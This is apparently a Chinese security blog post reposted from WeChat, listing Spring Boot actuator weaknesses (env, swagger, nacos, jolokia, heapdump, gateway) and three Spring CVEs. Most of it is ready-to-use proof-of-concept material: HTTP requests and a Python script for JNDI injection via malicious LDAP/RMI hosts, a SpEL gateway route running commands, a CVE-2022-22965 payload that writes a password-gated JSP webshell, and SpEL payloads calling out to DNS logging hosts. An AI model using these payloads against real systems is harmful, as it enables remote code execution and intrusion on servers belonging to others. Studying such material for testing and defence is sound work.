原创 1ang 小羊安全屋
一、Spring Boot介绍
Spring Boot 是一个开源的Java框架,旨在简化Spring应用的创建和部署过程。它是Spring平台和第三方库生态的一部分,由Pivotal团队开发。Spring Boot 旨在让开发者能够更快速地启动和运行新的Spring应用程序,通过提供默认的配置帮助快速启动各种Spring应用上下文和第三方库。
1.1 Spring Boot常见接口
二、Spring Boot各接口常见漏洞
2.1 env接口
1)未授权信息泄露(不需要授权可查看端点信息)
2)RCE漏洞(通过eureka.client.serviceUrl.defaultZone)进行rce
POC:
#1、设置serviceurl值,并在vps进行监听
POST /openapi/actuator/env HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 85
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://¥{PID}your.dnslog.cn"}
#2、重启接口,观察vps收到的信息并解密
POST /openapi/actuator/refresh HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Content-Type: application/json
2.2 swagger-ui.html、/v2/api-docs接口
未授权访问(可以未授权查看接口文档,可进一步对接口进行测试,测试未授权、注入等等类型的漏洞)
2.3 nacos-config接口
未授权访问,信息泄露(利用该接口可获取nacos账号密码,可获取大量敏感信息。且nacos存在RCE漏洞可进行尝试利用获取权限)
2.4 jolokia接口
命令执行1(jolokia logback JNDI注入,通过/jolokia/exec/ch.qos.logback.classic:远程调用恶意类造成RCE)
1、启动一个恶意的ldap
2、制作一个logback.xml文件内容如下
<configuration>
<insertFromJNDI env-entry-name="ldap://恶意的ldap地址" as="appName" />
</configuration>
3、使用以下地址进行jndi注入
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.0.108:8000!/logback.xml
命令执行2(jolokia Realm JNDI注入,通过调用恶意的rmi,造成RCE漏洞)
#!/usr/bin/env python3
# coding: utf-8
import requests
url = 'http://127.0.0.1/actuator/jolokia'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://krk9ve.ceye.io"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
2.5 heapdump接口
未授权信息泄露(使用java自带的jvisualvm.exe加载该文件或使用工具https://github.com/wyzxxz/heapdump_tool进行解密数据)
2.6 gateway接口
/gateway/route rce 漏洞(通过添加恶意路由从而进行rce)
1、添加恶意路由
POST /actuator/gateway/routes/testxxxHTTP/1.1
Host: 192.168.42.145:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334
{
"id": "testxxx",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2、刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
}
3、访问路由造成命令执行
GET /actuator/gateway/routes/testxxx HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
三、Spring 框架其他漏洞
3.1 Spring Framework RCE (CVE-2022-22965)漏洞
POC:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
shell地址:http://127.0.0.1:8080//tomcatwar.jsp?pwd=j&cmd=whoami
3.2 Spring Data MongoDB SpEL表达式注入漏洞(CVE-2022-22980)漏洞
POC:
POST /get HTTP/1.1
Host: 172.17.148.66:9576
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
cmd: id
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 5737
a=T(java.lang.Runtime).getRuntime().exec("ping vfxbpdoaqs.dnstunnel.run")
3.3 Spring Data Commons RCE (CVE-2018-1273)漏洞
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
https://mp.weixin.qq.com/s/aY8HF5ltTChasVW7qvtY6g
标签:zh,技巧,Spring,image,Boot,Accept,application,type From: https://www.cnblogs.com/o-O-oO/p/18534206